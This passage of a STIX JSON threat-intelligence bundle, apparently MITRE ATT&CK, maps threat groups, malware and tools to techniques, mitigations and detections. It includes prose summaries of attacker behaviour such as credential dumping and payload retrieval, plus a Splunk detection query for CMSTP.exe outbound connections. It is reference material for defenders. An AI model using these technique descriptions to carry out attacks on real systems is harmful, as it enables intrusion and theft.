2021)","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10d94e64-2702-42cd-b188-a404ed8feb11","type":"relationship","created":"2021-06-22T15:32:10.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T15:32:10.320Z","description":"(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--434ba392-ebdc-488b-b1ef-518deea65774","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10e6a721-82f0-42a3-b454-da5e338c59f7","created":"2023-06-02T15:29:30.516Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-02T15:29:30.516Z","description":"Limit which users are allowed to access compute infrastructure via cloud native methods.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10e7df4a-c95d-4b85-b044-84649fe3a6d1","created":"2023-01-17T22:14:55.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T22:45:22.779Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used [netsh](https://attack.mitre.org/software/S0108) on a domain controller to ensure there was no existing firewall or to disable one.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10ecbc19-10ab-4564-a637-cc4f6773e533","type":"relationship","created":"2020-07-17T15:48:51.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.038Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can dump hashed passwords associated with Active Directory using Windows' Directory Replication Services API (DRSUAPI), or Volume Shadow Copy.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10ee09db-e80d-4022-8810-7bba70b33609","type":"relationship","created":"2020-10-19T19:03:52.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T19:03:52.121Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8","target_ref":"attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10f21b9c-893d-46be-9bf2-50422d380d4f","created":"2024-08-26T18:20:38.447Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:20:38.447Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) used curl to connect to adversary-controlled infrastructure and retrieve additional payloads.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10f89251-2bd7-4c08-a71a-2a002f6d9bef","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--10f89ca3-e540-4f36-9a21-eca24a0224a7","created":"2022-04-14T13:58:51.823Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: CrowdStrike StellarParticle January 2022)","modified":"2022-04-14T13:58:51.823Z","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10f92e54-e986-423e-8fcb-cc2f420e2421","created":"2024-03-01T17:24:33.105Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:24:33.105Z","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10fb2420-a482-4909-90c6-fd9f7e5c24a6","type":"relationship","created":"2020-11-19T17:07:09.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T17:07:09.454Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can add, modify, and/or delete registry keys. It has changed the proxy configuration of a victim system by modifying the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap registry.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10fdc4f4-9f50-40d8-94db-966fcc434a14","type":"relationship","created":"2020-02-10T20:47:10.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T20:47:10.180Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11010986-1b4d-4158-b47d-bbff34306c98","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}],"modified":"2020-03-16T15:59:20.455Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) has a command to take a screenshot and send it to the C2 server.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11027c06-b55a-4b0f-957c-f9f67daf21a7","type":"relationship","created":"2020-07-17T15:48:51.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.036Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can brute force credential authentication by using a supplied list of usernames and a single password.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--110690db-fd9b-425a-9269-ec082f0af3f9","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-12T20:29:10.746Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used PowerShell for execution and privilege escalation.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11087b2c-2d00-4a57-a974-045010c7bab5","created":"2023-09-08T15:49:52.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:35:22.981Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has collected names and passwords of all Wi-Fi networks to which a device has previously connected.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--110e76f2-815d-4eb0-986f-f6a9905ce640","type":"relationship","created":"2020-03-02T14:22:24.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:03:53.616Z","description":"Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--110ef143-aff1-4e73-abc2-cceaeab69c60","type":"relationship","created":"2021-10-07T17:11:29.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-10-07T17:11:29.524Z","description":"[Chaes](https://attack.mitre.org/software/S0631) requires the user to click on the malicious Word document to execute the next part of the attack.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1116b91b-3b1e-41a3-a60b-677f06eb810b","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for executed commands and arguments that may attempt to find cloud groups and permission settings. ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11178fb7-27d1-4ad2-b912-113741647377","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:29:03.239Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts, such as Sysmon Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for the creation of a new CMSTP.exe process which initiates a network connection to a non-local IP address. This is a specific implementation where CMSTP.exe can be leveraged to setup listeners that will receive and install malware from remote sources in a trusted fashion.\n\nAnalytic 1 - CMSTP\n\n(sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"3\") Image=\"C:\\\\Windows\\\\System32\\\\CMSTP.exe\" | WHERE ((!cidrmatch(\"10.0.0.0/8\", SourceIp) AND !cidrmatch(\"192.168.0.0/16\", SourceIp) AND !cidrmatch(\"172.16.0.0/12\", SourceIp))","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11180322-a9e0-4f20-94e1-d47f95db06f8","type":"relationship","created":"2021-11-17T16:57:25.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-17T16:57:25.526Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to set its file attributes to hidden.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--111d5f78-f5d3-4c33-b5f8-d978c166b52a","created":"2023-03-26T22:02:54.200Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:02:54.200Z","description":"(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--112012c7-a727-47a4-8a7a-ccb7d40a3311","type":"relationship","created":"2020-09-11T15:11:28.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:11:28.317Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has used cmd.exe to run its self deletion routine.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--11247a95-272b-4ae2-8dae-2cd049328734","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-16T19:08:50.297Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can perform DLL injection.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--11285325-82f3-489a-9d10-05bd6564b423","created":"2023-01-23T19:41:32.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-24T22:35:16.355Z","description":"[Prestige](https://attack.mitre.org/software/S1058) has been deployed using the Default Domain Group Policy Object from an Active Directory Domain Controller.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--112b896f-a3df-4b7c-80cd-332d561bc028","created":"2023-08-03T21:55:02.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Dridex Threat Report 2021","description":"Red Canary. (2021, February 9). Dridex - Red Canary Threat Detection Report. Retrieved August 3, 2023.","url":"https://redcanary.com/threat-detection-report/threats/dridex/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T17:04:17.846Z","description":"[Dridex](https://attack.mitre.org/software/S0384) can abuse legitimate Windows executables to side-load malicious DLL files.(Citation: Red Canary Dridex Threat Report 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--112cfc90-3f58-4585-a792-9ec4e5dd549f","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for newly constructed files that may leverage Microsoft Office-based applications for persistence between startups.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--112eb215-e03d-4c15-8e8d-3d1b5e1096c9","type":"relationship","created":"2020-03-12T21:00:53.803Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-16T19:10:04.394Z","description":"Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--112fec98-96be-4843-a56e-90d6b3fc02b2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:43:39.486Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) has the ability to list processes on the system.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1134f983-3ad3-4c79-baaa-f604ac9dc642","created":"2021-05-26T20:14:45.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Rocket 